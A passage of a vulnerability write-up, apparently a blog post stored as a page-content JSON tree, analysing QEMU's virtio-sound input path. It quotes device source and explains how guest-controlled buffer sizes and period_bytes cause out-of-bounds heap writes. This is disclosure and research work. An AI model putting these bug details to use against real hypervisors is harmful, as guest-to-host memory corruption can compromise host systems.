",{"type":22,"tag":114,"props":126264,"children":126266},{"className":126265},[],[126267],{"type":28,"value":126268},"populated",{"type":28,"value":126270}," field along with the variable-sized ",{"type":22,"tag":114,"props":126272,"children":126274},{"className":126273},[],[126275],{"type":28,"value":5715},{"type":28,"value":126277}," array. As the comment says, ",{"type":22,"tag":114,"props":126279,"children":126281},{"className":126280},[],[126282],{"type":28,"value":126268},{"type":28,"value":126284}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":22,"tag":114,"props":126286,"children":126288},{"className":126287},[],[126289],{"type":28,"value":6026},{"type":28,"value":126291},", the device believes data should be ",{"type":22,"tag":114,"props":126293,"children":126295},{"className":126294},[],[126296],{"type":28,"value":6026},{"type":28,"value":126298}," byte, while the actual allocation is ",{"type":22,"tag":114,"props":126300,"children":126302},{"className":126301},[],[126303],{"type":28,"value":126304},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":28,"value":292},{"type":22,"tag":1899,"props":126307,"children":126309},{"id":126308},"populating-data-buffers",[126310],{"type":28,"value":126311},"Populating Data Buffers",{"type":22,"tag":31,"props":126313,"children":126314},{},[126315],{"type":28,"value":126316},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":22,"tag":107,"props":126318,"children":126320},{"code":126319,"language":5169,"meta":7,"className":18481,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    }\n}\n",[126321],{"type":22,"tag":114,"props":126322,"children":126323},{"__ignoreMap":7},[126324,126331,126339,126346,126354,126362,126369,126418,126425,126451,126468,126480,126487,126519,126564,126604,126611,126619,126626,126651,126679,126703,126711,126723,126761,126774,126786,126793,126839,126876,126919,126940,126960,126980,126991,126998,127021,127037,127045,127052,127059,127066],{"type":22,"tag":118,"props":126325,"children":126326},{"class":120,"line":121},[126327],{"type":22,"tag":118,"props":126328,"children":126329},{"style":257},[126330],{"type":28,"value":51306},{"type":22,"tag":118,"props":126332,"children":126333},{"class":120,"line":142},[126334],{"type":22,"tag":118,"props":126335,"children":126336},{"style":257},[126337],{"type":28,"value":126338}," * AUD_* input callback.\n",{"type":22,"tag":118,"props":126340,"children":126341},{"class":120,"line":177},[126342],{"type":22,"tag":118,"props":126343,"children":126344},{"style":257},[126345],{"type":28,"value":21456},{"type":22,"tag":118,"props":126347,"children":126348},{"class":120,"line":195},[126349],{"type":22,"tag":118,"props":126350,"children":126351},{"style":257},[126352],{"type":28,"value":126353}," * @data: VirtIOSoundPCMStream stream\n",{"type":22,"tag":118,"props":126355,"children":126356},{"class":120,"line":244},[126357],{"type":22,"tag":118,"props":126358,"children":126359},{"style":257},[126360],{"type":28,"value":126361}," * @available: number of bytes that can be read with AUD_read()\n",{"type":22,"tag":118,"props":126363,"children":126364},{"class":120,"line":253},[126365],{"type":22,"tag":118,"props":126366,"children":126367},{"style":257},[126368],{"type":28,"value":125424},{"type":22,"tag":118,"props":126370,"children":126371},{"class":120,"line":263},[126372,126376,126380,126385,126389,126393,126397,126401,126405,126409,126414],{"type":22,"tag":118,"props":126373,"children":126374},{"style":146},[126375],{"type":28,"value":52985},{"type":22,"tag":118,"props":126377,"children":126378},{"style":146},[126379],{"type":28,"value":52990},{"type":22,"tag":118,"props":126381,"children":126382},{"style":532},[126383],{"type":28,"value":126384}," virtio_snd_pcm_in_cb",{"type":22,"tag":118,"props":126386,"children":126387},{"style":125},[126388],{"type":28,"value":540},{"type":22,"tag":118,"props":126390,"children":126391},{"style":146},[126392],{"type":28,"value":53568},{"type":22,"tag":118,"props":126394,"children":126395},{"style":210},[126396],{"type":28,"value":11815},{"type":22,"tag":118,"props":126398,"children":126399},{"style":204},[126400],{"type":28,"value":5715},{"type":22,"tag":118,"props":126402,"children":126403},{"style":125},[126404],{"type":28,"value":231},{"type":22,"tag":118,"props":126406,"children":126407},{"style":146},[126408],{"type":28,"value":21014},{"type":22,"tag":118,"props":126410,"children":126411},{"style":204},[126412],{"type":28,"value":126413}," available",{"type":22,"tag":118,"props":126415,"children":126416},{"style":125},[126417],{"type":28,"value":3665},{"type":22,"tag":118,"props":126419,"children":126420},{"class":120,"line":318},[126421],{"type":22,"tag":118,"props":126422,"children":126423},{"style":125},[126424],{"type":28,"value":12879},{"type":22,"tag":118,"props":126426,"children":126427},{"class":120,"line":351},[126428,126433,126437,126442,126446],{"type":22,"tag":118,"props":126429,"children":126430},{"style":125},[126431],{"type":28,"value":126432},"    VirtIOSoundPCMStream ",{"type":22,"tag":118,"props":126434,"children":126435},{"style":210},[126436],{"type":28,"value":671},{"type":22,"tag":118,"props":126438,"children":126439},{"style":125},[126440],{"type":28,"value":126441},"stream ",{"type":22,"tag":118,"props":126443,"children":126444},{"style":210},[126445],{"type":28,"value":282},{"type":22,"tag":118,"props":126447,"children":126448},{"style":125},[126449],{"type":28,"value":126450}," data;\n",{"type":22,"tag":118,"props":126452,"children":126453},{"class":120,"line":359},[126454,126459,126463],{"type":22,"tag":118,"props":126455,"children":126456},{"style":125},[126457],{"type":28,"value":126458},"    VirtIOSoundPCMBuffer ",{"type":22,"tag":118,"props":126460,"children":126461},{"style":210},[126462],{"type":28,"value":671},{"type":22,"tag":118,"props":126464,"children":126465},{"style":125},[126466],{"type":28,"value":126467},"buffer;\n",{"type":22,"tag":118,"props":126469,"children":126470},{"class":120,"line":368},[126471,126475],{"type":22,"tag":118,"props":126472,"children":126473},{"style":146},[126474],{"type":28,"value":18531},{"type":22,"tag":118,"props":126476,"children":126477},{"style":125},[126478],{"type":28,"value":126479}," size, max_size;\n",{"type":22,"tag":118,"props":126481,"children":126482},{"class":120,"line":384},[126483],{"type":22,"tag":118,"props":126484,"children":126485},{"emptyLinePlaceholder":15},[126486],{"type":28,"value":250},{"type":22,"tag":118,"props":126488,"children":126489},{"class":120,"line":417},[126490,126495,126499,126503,126507,126511,126515],{"type":22,"tag":118,"props":126491,"children":126492},{"style":532},[126493],{"type":28,"value":126494},"    WITH_QEMU_LOCK_GUARD",{"type":22,"tag":118,"props":126496,"children":126497},{"style":125},[126498],{"type":28,"value":540},{"type":22,"tag":118,"props":126500,"children":126501},{"style":210},[126502],{"type":28,"value":1407},{"type":22,"tag":118,"props":126504,"children":126505},{"style":204},[126506],{"type":28,"value":38202},{"type":22,"tag":118,"props":126508,"children":126509},{"style":125},[126510],{"type":28,"value":593},{"type":22,"tag":118,"props":126512,"children":126513},{"style":204},[126514],{"type":28,"value":125671},{"type":22,"tag":118,"props":126516,"children":126517},{"style":125},[126518],{"type":28,"value":16783},{"type":22,"tag":118,"props":126520,"children":126521},{"class":120,"line":425},[126522,126527,126531,126535,126540,126544,126548,126552,126556,126560],{"type":22,"tag":118,"props":126523,"children":126524},{"style":1480},[126525],{"type":28,"value":126526},"        while",{"type":22,"tag":118,"props":126528,"children":126529},{"style":125},[126530],{"type":28,"value":842},{"type":22,"tag":118,"props":126532,"children":126533},{"style":210},[126534],{"type":28,"value":22581},{"type":22,"tag":118,"props":126536,"children":126537},{"style":532},[126538],{"type":28,"value":126539},"QSIMPLEQ_EMPTY",{"type":22,"tag":118,"props":126541,"children":126542},{"style":125},[126543],{"type":28,"value":540},{"type":22,"tag":118,"props":126545,"children":126546},{"style":210},[126547],{"type":28,"value":1407},{"type":22,"tag":118,"props":126549,"children":126550},{"style":204},[126551],{"type":28,"value":38202},{"type":22,"tag":118,"props":126553,"children":126554},{"style":125},[126555],{"type":28,"value":593},{"type":22,"tag":118,"props":126557,"children":126558},{"style":204},[126559],{"type":28,"value":125924},{"type":22,"tag":118,"props":126561,"children":126562},{"style":125},[126563],{"type":28,"value":37134},{"type":22,"tag":118,"props":126565,"children":126566},{"class":120,"line":441},[126567,126571,126575,126580,126584,126588,126592,126596,126600],{"type":22,"tag":118,"props":126568,"children":126569},{"style":125},[126570],{"type":28,"value":125760},{"type":22,"tag":118,"props":126572,"children":126573},{"style":210},[126574],{"type":28,"value":282},{"type":22,"tag":118,"props":126576,"children":126577},{"style":532},[126578],{"type":28,"value":126579}," QSIMPLEQ_FIRST",{"type":22,"tag":118,"props":126581,"children":126582},{"style":125},[126583],{"type":28,"value":540},{"type":22,"tag":118,"props":126585,"children":126586},{"style":210},[126587],{"type":28,"value":1407},{"type":22,"tag":118,"props":126589,"children":126590},{"style":204},[126591],{"type":28,"value":38202},{"type":22,"tag":118,"props":126593,"children":126594},{"style":125},[126595],{"type":28,"value":593},{"type":22,"tag":118,"props":126597,"children":126598},{"style":204},[126599],{"type":28,"value":125924},{"type":22,"tag":118,"props":126601,"children":126602},{"style":125},[126603],{"type":28,"value":682},{"type":22,"tag":118,"props":126605,"children":126606},{"class":120,"line":475},[126607],{"type":22,"tag":118,"props":126608,"children":126609},{"emptyLinePlaceholder":15},[126610],{"type":28,"value":250},{"type":22,"tag":118,"props":126612,"children":126613},{"class":120,"line":484},[126614],{"type":22,"tag":118,"props":126615,"children":126616},{"style":125},[126617],{"type":28,"value":126618},"            [...]\n",{"type":22,"tag":118,"props":126620,"children":126621},{"class":120,"line":492},[126622],{"type":22,"tag":118,"props":126623,"children":126624},{"emptyLinePlaceholder":15},[126625],{"type":28,"value":250},{"type":22,"tag":118,"props":126627,"children":126628},{"class":120,"line":501},[126629,126634,126638,126642,126646],{"type":22,"tag":118,"props":126630,"children":126631},{"style":125},[126632],{"type":28,"value":126633},"            max_size ",{"type":22,"tag":118,"props":126635,"children":126636},{"style":210},[126637],{"type":28,"value":282},{"type":22,"tag":118,"props":126639,"children":126640},{"style":532},[126641],{"type":28,"value":125692},{"type":22,"tag":118,"props":126643,"children":126644},{"style":125},[126645],{"type":28,"value":540},{"type":22,"tag":118,"props":126647,"children":126648},{"style":257},[126649],{"type":28,"value":126650},"                    // [1]\n",{"type":22,"tag":118,"props":126652,"children":126653},{"class":120,"line":519},[126654,126659,126663,126667,126671,126675],{"type":22,"tag":118,"props":126655,"children":126656},{"style":204},[126657],{"type":28,"value":126658},"                buffer",{"type":22,"tag":118,"props":126660,"children":126661},{"style":125},[126662],{"type":28,"value":593},{"type":22,"tag":118,"props":126664,"children":126665},{"style":204},[126666],{"type":28,"value":54005},{"type":22,"tag":118,"props":126668,"children":126669},{"style":125},[126670],{"type":28,"value":593},{"type":22,"tag":118,"props":126672,"children":126673},{"style":204},[126674],{"type":28,"value":125709},{"type":22,"tag":118,"props":126676,"children":126677},{"style":125},[126678],{"type":28,"value":782},{"type":22,"tag":118,"props":126680,"children":126681},{"class":120,"line":606},[126682,126686,126690,126694,126698],{"type":22,"tag":118,"props":126683,"children":126684},{"style":204},[126685],{"type":28,"value":126658},{"type":22,"tag":118,"props":126687,"children":126688},{"style":125},[126689],{"type":28,"value":593},{"type":22,"tag":118,"props":126691,"children":126692},{"style":204},[126693],{"type":28,"value":54005},{"type":22,"tag":118,"props":126695,"children":126696},{"style":125},[126697],{"type":28,"value":593},{"type":22,"tag":118,"props":126699,"children":126700},{"style":204},[126701],{"type":28,"value":126702},"in_num\n",{"type":22,"tag":118,"props":126704,"children":126705},{"class":120,"line":615},[126706],{"type":22,"tag":118,"props":126707,"children":126708},{"style":125},[126709],{"type":28,"value":126710},"            );\n",{"type":22,"tag":118,"props":126712,"children":126713},{"class":120,"line":685},[126714,126719],{"type":22,"tag":118,"props":126715,"children":126716},{"style":1480},[126717],{"type":28,"value":126718},"            for",{"type":22,"tag":118,"props":126720,"children":126721},{"style":125},[126722],{"type":28,"value":125522},{"type":22,"tag":118,"props":126724,"children":126725},{"class":120,"line":699},[126726,126730,126734,126739,126743,126747,126751,126756],{"type":22,"tag":118,"props":126727,"children":126728},{"style":1480},[126729],{"type":28,"value":105116},{"type":22,"tag":118,"props":126731,"children":126732},{"style":125},[126733],{"type":28,"value":842},{"type":22,"tag":118,"props":126735,"children":126736},{"style":204},[126737],{"type":28,"value":126738},"buffer",{"type":22,"tag":118,"props":126740,"children":126741},{"style":125},[126742],{"type":28,"value":593},{"type":22,"tag":118,"props":126744,"children":126745},{"style":204},[126746],{"type":28,"value":125856},{"type":22,"tag":118,"props":126748,"children":126749},{"style":210},[126750],{"type":28,"value":634},{"type":22,"tag":118,"props":126752,"children":126753},{"style":125},[126754],{"type":28,"value":126755}," max_size) {",{"type":22,"tag":118,"props":126757,"children":126758},{"style":257},[126759],{"type":28,"value":126760},"     // [2]\n",{"type":22,"tag":118,"props":126762,"children":126763},{"class":120,"line":729},[126764,126769],{"type":22,"tag":118,"props":126765,"children":126766},{"style":532},[126767],{"type":28,"value":126768},"                    return_rx_buffer",{"type":22,"tag":118,"props":126770,"children":126771},{"style":125},[126772],{"type":28,"value":126773},"(stream, buffer);\n",{"type":22,"tag":118,"props":126775,"children":126776},{"class":120,"line":771},[126777,126782],{"type":22,"tag":118,"props":126778,"children":126779},{"style":1480},[126780],{"type":28,"value":126781},"                    break",{"type":22,"tag":118,"props":126783,"children":126784},{"style":125},[126785],{"type":28,"value":801},{"type":22,"tag":118,"props":126787,"children":126788},{"class":120,"line":785},[126789],{"type":22,"tag":118,"props":126790,"children":126791},{"style":125},[126792],{"type":28,"value":1819},{"type":22,"tag":118,"props":126794,"children":126795},{"class":120,"line":804},[126796,126801,126805,126810,126814,126818,126822,126827,126831,126835],{"type":22,"tag":118,"props":126797,"children":126798},{"style":125},[126799],{"type":28,"value":126800},"                size ",{"type":22,"tag":118,"props":126802,"children":126803},{"style":210},[126804],{"type":28,"value":282},{"type":22,"tag":118,"props":126806,"children":126807},{"style":532},[126808],{"type":28,"value":126809}," AUD_read",{"type":22,"tag":118,"props":126811,"children":126812},{"style":125},[126813],{"type":28,"value":540},{"type":22,"tag":118,"props":126815,"children":126816},{"style":204},[126817],{"type":28,"value":38202},{"type":22,"tag":118,"props":126819,"children":126820},{"style":125},[126821],{"type":28,"value":593},{"type":22,"tag":118,"props":126823,"children":126824},{"style":204},[126825],{"type":28,"value":126826},"voice",{"type":22,"tag":118,"props":126828,"children":126829},{"style":125},[126830],{"type":28,"value":292},{"type":22,"tag":118,"props":126832,"children":126833},{"style":204},[126834],{"type":28,"value":97094},{"type":22,"tag":118,"props":126836,"children":126837},{"style":125},[126838],{"type":28,"value":782},{"type":22,"tag":118,"props":126840,"children":126841},{"class":120,"line":812},[126842,126847,126851,126855,126859,126864,126868,126872],{"type":22,"tag":118,"props":126843,"children":126844},{"style":204},[126845],{"type":28,"value":126846},"                        buffer",{"type":22,"tag":118,"props":126848,"children":126849},{"style":125},[126850],{"type":28,"value":593},{"type":22,"tag":118,"props":126852,"children":126853},{"style":204},[126854],{"type":28,"value":5715},{"type":22,"tag":118,"props":126856,"children":126857},{"style":210},[126858],{"type":28,"value":10905},{"type":22,"tag":118,"props":126860,"children":126861},{"style":204},[126862],{"type":28,"value":126863}," buffer",{"type":22,"tag":118,"props":126865,"children":126866},{"style":125},[126867],{"type":28,"value":593},{"type":22,"tag":118,"props":126869,"children":126870},{"style":204},[126871],{"type":28,"value":125856},{"type":22,"tag":118,"props":126873,"children":126874},{"style":125},[126875],{"type":28,"value":782},{"type":22,"tag":118,"props":126877,"children":126878},{"class":120,"line":821},[126879,126884,126889,126893,126897,126901,126905,126910,126914],{"type":22,"tag":118,"props":126880,"children":126881},{"style":532},[126882],{"type":28,"value":126883},"                        MIN",{"type":22,"tag":118,"props":126885,"children":126886},{"style":125},[126887],{"type":28,"value":126888},"(available, (",{"type":22,"tag":118,"props":126890,"children":126891},{"style":204},[126892],{"type":28,"value":38202},{"type":22,"tag":118,"props":126894,"children":126895},{"style":125},[126896],{"type":28,"value":593},{"type":22,"tag":118,"props":126898,"children":126899},{"style":204},[126900],{"type":28,"value":99878},{"type":22,"tag":118,"props":126902,"children":126903},{"style":125},[126904],{"type":28,"value":292},{"type":22,"tag":118,"props":126906,"children":126907},{"style":204},[126908],{"type":28,"value":126909},"period_bytes",{"type":22,"tag":118,"props":126911,"children":126912},{"style":210},[126913],{"type":28,"value":53196},{"type":22,"tag":118,"props":126915,"children":126916},{"style":257},[126917],{"type":28,"value":126918},"     // [3]\n",{"type":22,"tag":118,"props":126920,"children":126921},{"class":120,"line":900},[126922,126927,126931,126935],{"type":22,"tag":118,"props":126923,"children":126924},{"style":204},[126925],{"type":28,"value":126926},"                                        buffer",{"type":22,"tag":118,"props":126928,"children":126929},{"style":125},[126930],{"type":28,"value":593},{"type":22,"tag":118,"props":126932,"children":126933},{"style":204},[126934],{"type":28,"value":125856},{"type":22,"tag":118,"props":126936,"children":126937},{"style":125},[126938],{"type":28,"value":126939},")));\n",{"type":22,"tag":118,"props":126941,"children":126942},{"class":120,"line":913},[126943,126947,126951,126955],{"type":22,"tag":118,"props":126944,"children":126945},{"style":1480},[126946],{"type":28,"value":105116},{"type":22,"tag":118,"props":126948,"children":126949},{"style":125},[126950],{"type":28,"value":842},{"type":22,"tag":118,"props":126952,"children":126953},{"style":210},[126954],{"type":28,"value":22581},{"type":22,"tag":118,"props":126956,"children":126957},{"style":125},[126958],{"type":28,"value":126959},"size) {\n",{"type":22,"tag":118,"props":126961,"children":126962},{"class":120,"line":953},[126963,126968,126972,126976],{"type":22,"tag":118,"props":126964,"children":126965},{"style":125},[126966],{"type":28,"value":126967},"                    available ",{"type":22,"tag":118,"props":126969,"children":126970},{"style":210},[126971],{"type":28,"value":282},{"type":22,"tag":118,"props":126973,"children":126974},{"style":674},[126975],{"type":28,"value":5074},{"type":22,"tag":118,"props":126977,"children":126978},{"style":125},[126979],{"type":28,"value":801},{"type":22,"tag":118,"props":126981,"children":126982},{"class":120,"line":982},[126983,126987],{"type":22,"tag":118,"props":126984,"children":126985},{"style":1480},[126986],{"type":28,"value":126781},{"type":22,"tag":118,"props":126988,"children":126989},{"style":125},[126990],{"type":28,"value":801},{"type":22,"tag":118,"props":126992,"children":126993},{"class":120,"line":995},[126994],{"type":22,"tag":118,"props":126995,"children":126996},{"style":125},[126997],{"type":28,"value":1819},{"type":22,"tag":118,"props":126999,"children":127000},{"class":120,"line":1011},[127001,127005,127009,127013,127017],{"type":22,"tag":118,"props":127002,"children":127003},{"style":204},[127004],{"type":28,"value":126658},{"type":22,"tag":118,"props":127006,"children":127007},{"style":125},[127008],{"type":28,"value":593},{"type":22,"tag":118,"props":127010,"children":127011},{"style":204},[127012],{"type":28,"value":125856},{"type":22,"tag":118,"props":127014,"children":127015},{"style":210},[127016],{"type":28,"value":17041},{"type":22,"tag":118,"props":127018,"children":127019},{"style":125},[127020],{"type":28,"value":126198},{"type":22,"tag":118,"props":127022,"children":127023},{"class":120,"line":1019},[127024,127029,127033],{"type":22,"tag":118,"props":127025,"children":127026},{"style":125},[127027],{"type":28,"value":127028},"                available ",{"type":22,"tag":118,"props":127030,"children":127031},{"style":210},[127032],{"type":28,"value":105581},{"type":22,"tag":118,"props":127034,"children":127035},{"style":125},[127036],{"type":28,"value":126198},{"type":22,"tag":118,"props":127038,"children":127039},{"class":120,"line":1028},[127040],{"type":22,"tag":118,"props":127041,"children":127042},{"style":125},[127043],{"type":28,"value":127044},"                [...]\n",{"type":22,"tag":118,"props":127046,"children":127047},{"class":120,"line":1101},[127048],{"type":22,"tag":118,"props":127049,"children":127050},{"style":125},[127051],{"type":28,"value":1827},{"type":22,"tag":118,"props":127053,"children":127054},{"class":120,"line":1146},[127055],{"type":22,"tag":118,"props":127056,"children":127057},{"style":125},[127058],{"type":28,"value":1835},{"type":22,"tag":118,"props":127060,"children":127061},{"class":120,"line":1226},[127062],{"type":22,"tag":118,"props":127063,"children":127064},{"style":125},[127065],{"type":28,"value":1254},{"type":22,"tag":118,"props":127067,"children":127068},{"class":120,"line":1234},[127069],{"type":22,"tag":118,"props":127070,"children":127071},{"style":125},[127072],{"type":28,"value":481},{"type":22,"tag":31,"props":127074,"children":127075},{},[127076,127077,127082,127083,127089,127091,127097,127099,127104,127105,127110,127112,127117],{"type":28,"value":125978},{"type":22,"tag":114,"props":127078,"children":127080},{"className":127079},[],[127081],{"type":28,"value":125984},{"type":28,"value":231},{"type":22,"tag":114,"props":127084,"children":127086},{"className":127085},[],[127087],{"type":28,"value":127088},"max_size",{"type":28,"value":127090}," is set to ",{"type":22,"tag":114,"props":127092,"children":127094},{"className":127093},[],[127095],{"type":28,"value":127096},"iov_size(in_sg, in_num)",{"type":28,"value":127098},". Both ",{"type":22,"tag":114,"props":127100,"children":127102},{"className":127101},[],[127103],{"type":28,"value":125709},{"type":28,"value":12991},{"type":22,"tag":114,"props":127106,"children":127108},{"className":127107},[],[127109],{"type":28,"value":125726},{"type":28,"value":127111}," are the same guest-controlled fields from ",{"type":22,"tag":114,"props":127113,"children":127115},{"className":127114},[],[127116],{"type":28,"value":125361},{"type":28,"value":292},{"type":22,"tag":31,"props":127119,"children":127120},{},[127121,127123,127128,127130,127136,127138,127144,127146,127152],{"type":28,"value":127122},"Later, at ",{"type":22,"tag":114,"props":127124,"children":127126},{"className":127125},[],[127127],{"type":28,"value":126019},{"type":28,"value":127129},", the code checks whether ",{"type":22,"tag":114,"props":127131,"children":127133},{"className":127132},[],[127134],{"type":28,"value":127135},"buffer->size >= max_size",{"type":28,"value":127137},". In the RX path, ",{"type":22,"tag":114,"props":127139,"children":127141},{"className":127140},[],[127142],{"type":28,"value":127143},"buffer->size",{"type":28,"value":127145}," tracks how many bytes have been written into ",{"type":22,"tag":114,"props":127147,"children":127149},{"className":127148},[],[127150],{"type":28,"value":127151},"buffer->data",{"type":28,"value":127153},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":22,"tag":31,"props":127155,"children":127156},{},[127157,127159,127164,127166,127172,127174,127179,127181,127187],{"type":28,"value":127158},"However, this does not match the allocation logic in ",{"type":22,"tag":114,"props":127160,"children":127162},{"className":127161},[],[127163],{"type":28,"value":125361},{"type":28,"value":127165},", which used: ",{"type":22,"tag":114,"props":127167,"children":127169},{"className":127168},[],[127170],{"type":28,"value":127171},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":28,"value":127173},". In other words, the allocation subtracts ",{"type":22,"tag":114,"props":127175,"children":127177},{"className":127176},[],[127178],{"type":28,"value":126085},{"type":28,"value":127180},", but the later bound in ",{"type":22,"tag":114,"props":127182,"children":127184},{"className":127183},[],[127185],{"type":28,"value":127186},"virtio_snd_pcm_in_cb",{"type":28,"value":127188}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":22,"tag":31,"props":127190,"children":127191},{},[127192,127194,127199,127201,127207,127209,127215,127217,127222,127224,127230,127232,127238,127240,127245,127247,127252],{"type":28,"value":127193},"Finally, at ",{"type":22,"tag":114,"props":127195,"children":127197},{"className":127196},[],[127198],{"type":28,"value":126043},{"type":28,"value":127200},", the code calls ",{"type":22,"tag":114,"props":127202,"children":127204},{"className":127203},[],[127205],{"type":28,"value":127206},"AUD_read",{"type":28,"value":127208}," with the following limit:\n",{"type":22,"tag":114,"props":127210,"children":127212},{"className":127211},[],[127213],{"type":28,"value":127214},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":28,"value":127216},". Notice how this bound does not take ",{"type":22,"tag":114,"props":127218,"children":127220},{"className":127219},[],[127221],{"type":28,"value":127088},{"type":28,"value":127223}," into account at all. That means if ",{"type":22,"tag":114,"props":127225,"children":127227},{"className":127226},[],[127228],{"type":28,"value":127229},"available",{"type":28,"value":127231}," is larger than the allocated buffer, and ",{"type":22,"tag":114,"props":127233,"children":127235},{"className":127234},[],[127236],{"type":28,"value":127237},"stream->params.period_bytes",{"type":28,"value":127239}," is also larger than the allocated buffer, ",{"type":22,"tag":114,"props":127241,"children":127243},{"className":127242},[],[127244],{"type":28,"value":127206},{"type":28,"value":127246}," will write past the end of ",{"type":22,"tag":114,"props":127248,"children":127250},{"className":127249},[],[127251],{"type":28,"value":127151},{"type":28,"value":127253}," - the third, and final, bug we found.",{"type":22,"tag":31,"props":127255,"children":127256},{},[127257,127259,127264,127266,127272],{"type":28,"value":127258},"Looking further at the code, we can see that ",{"type":22,"tag":114,"props":127260,"children":127262},{"className":127261},[],[127263],{"type":28,"value":127237},{"type":28,"value":127265}," is fully guest-controlled by issuing a ",{"type":22,"tag":114,"props":127267,"children":127269},{"className":127268},[],[127270],{"type":28,"value":127271},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":28,"value":127273}," request:",{"type":22,"tag":107,"props":127275,"children":127277},{"code":127276,"language":5169,"meta":7,"className":18481,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n                                   uint32_t stream_id,\n                                   virtio_snd_pcm_set_params *params)\n{\n    virtio_snd_pcm_set_params *st_params;\n\n    [...]\n\n    st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n    [...]\n\n    st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n    st_params->period_bytes = le32_to_cpu(params->period_bytes);\n    st_params->features = le32_to_cpu(params->features);\n    /* the following are uint8_t, so there's no need to bswap the values. */\n    st_params->channels = params->channels;\n    st_params->format = params->format;\n    st_params->rate = params->rate;\n\n    return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[127278],{"type":22,"tag":114,"props":127279,"children":127280},{"__ignoreMap":7},[127281,127289,127318,127335,127355,127362,127379,127386,127393,127400,127422,127429,127436,127443,127489,127532,127576,127584,127621,127657,127693,127700,127717],{"type":22,"tag":118,"props":127282,"children":127283},{"class":120,"line":121},[127284],{"type":22,"tag":118,"props":127285,"children":127286},{"style":146},[127287],{"type":28,"value":127288},"static\n",{"type":22,"tag":118,"props":127290,"children":127291},{"class":120,"line":142},[127292,127296,127301,127306,127310,127314],{"type":22,"tag":118,"props":127293,"children":127294},{"style":146},[127295],{"type":28,"value":59874},{"type":22,"tag":118,"props":127297,"children":127298},{"style":532},[127299],{"type":28,"value":127300}," virtio_snd_set_pcm_params",{"type":22,"tag":118,"props":127302,"children":127303},{"style":125},[127304],{"type":28,"value":127305},"(VirtIOSound ",{"type":22,"tag":118,"props":127307,"children":127308},{"style":210},[127309],{"type":28,"value":671},{"type":22,"tag":118,"props":127311,"children":127312},{"style":204},[127313],{"type":28,"value":12650},{"type":22,"tag":118,"props":127315,"children":127316},{"style":125},[127317],{"type":28,"value":782},{"type":22,"tag":118,"props":127319,"children":127320},{"class":120,"line":177},[127321,127326,127331],{"type":22,"tag":118,"props":127322,"children":127323},{"style":146},[127324],{"type":28,"value":127325},"                                   uint32_t",{"type":22,"tag":118,"props":127327,"children":127328},{"style":204},[127329],{"type":28,"value":127330}," stream_id",{"type":22,"tag":118,"props":127332,"children":127333},{"style":125},[127334],{"type":28,"value":782},{"type":22,"tag":118,"props":127336,"children":127337},{"class":120,"line":195},[127338,127343,127347,127351],{"type":22,"tag":118,"props":127339,"children":127340},{"style":125},[127341],{"type":28,"value":127342},"                                   virtio_snd_pcm_set_params ",{"type":22,"tag":118,"props":127344,"children":127345},{"style":210},[127346],{"type":28,"value":671},{"type":22,"tag":118,"props":127348,"children":127349},{"style":204},[127350],{"type":28,"value":99878},{"type":22,"tag":118,"props":127352,"children":127353},{"style":125},[127354],{"type":28,"value":3665},{"type":22,"tag":118,"props":127356,"children":127357},{"class":120,"line":244},[127358],{"type":22,"tag":118,"props":127359,"children":127360},{"style":125},[127361],{"type":28,"value":12879},{"type":22,"tag":118,"props":127363,"children":127364},{"class":120,"line":253},[127365,127370,127374],{"type":22,"tag":118,"props":127366,"children":127367},{"style":125},[127368],{"type":28,"value":127369},"    virtio_snd_pcm_set_params ",{"type":22,"tag":118,"props":127371,"children":127372},{"style":210},[127373],{"type":28,"value":671},{"type":22,"tag":118,"props":127375,"children":127376},{"style":125},[127377],{"type":28,"value":127378},"st_params;\n",{"type":22,"tag":118,"props":127380,"children":127381},{"class":120,"line":263},[127382],{"type":22,"tag":118,"props":127383,"children":127384},{"emptyLinePlaceholder":15},[127385],{"type":28,"value":250},{"type":22,"tag":118,"props":127387,"children":127388},{"class":120,"line":318},[127389],{"type":22,"tag":118,"props":127390,"children":127391},{"style":125},[127392],{"type":28,"value":106397},{"type":22,"tag":118,"props":127394,"children":127395},{"class":120,"line":351},[127396],{"type":22,"tag":118,"props":127397,"children":127398},{"emptyLinePlaceholder":15},[127399],{"type":28,"value":250},{"type":22,"tag":118,"props":127401,"children":127402},{"class":120,"line":359},[127403,127408,127412,127417],{"type":22,"tag":118,"props":127404,"children":127405},{"style":125},[127406],{"type":28,"value":127407},"    st_params ",{"type":22,"tag":118,"props":127409,"children":127410},{"style":210},[127411],{"type":28,"value":282},{"type":22,"tag":118,"props":127413,"children":127414},{"style":532},[127415],{"type":28,"value":127416}," virtio_snd_pcm_get_params",{"type":22,"tag":118,"props":127418,"children":127419},{"style":125},[127420],{"type":28,"value":127421},"(s, 